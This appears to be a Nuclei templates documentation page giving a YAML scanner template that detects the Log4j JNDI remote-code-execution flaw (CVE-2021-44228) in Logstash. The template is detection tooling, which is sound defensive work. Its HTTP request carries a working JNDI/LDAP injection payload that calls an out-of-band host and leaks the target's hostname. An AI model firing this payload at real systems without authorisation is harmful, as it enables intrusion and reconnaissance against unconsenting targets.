Skip to content
Nuclei Templates

Logstash - Remote Code Execution (Apache Log4j)

ID: logstash-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev

Description

Section titled “Description”

Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite “stash.”

YAML Source

Section titled “YAML Source”
id: logstash-log4j-rce


info:
  name: Logstash - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Logstash is susceptible to Log4j JNDI remote code execution. Logstash is a free and open server-side data processing pipeline that ingests data from a multitude of sources, transforms it, and then sends it to your favorite "stash."
  reference:
    - https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:elastic:logstash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: html:"logstash"
    product: logstash
    vendor: elastic
  tags: cve,cve2021,rce,jndi,log4j,logstash,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"


http:
  - raw:
      - |
        GET /api/logstash/pipeline/${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Referrer: {{RootURL}}/app/management/ingest/pipelines/
        Content-Type: application/json


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100e465c0c186ae1ee3d099633eb90f17d1306098cd95625a73cb938d19fa347a2002203c2fd36437adb2cc218f12eb8fa4b68c7c96de51b0d3c6cd6c8003a44e58b2d3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/logstash-log4j-rce.yaml"

View on Github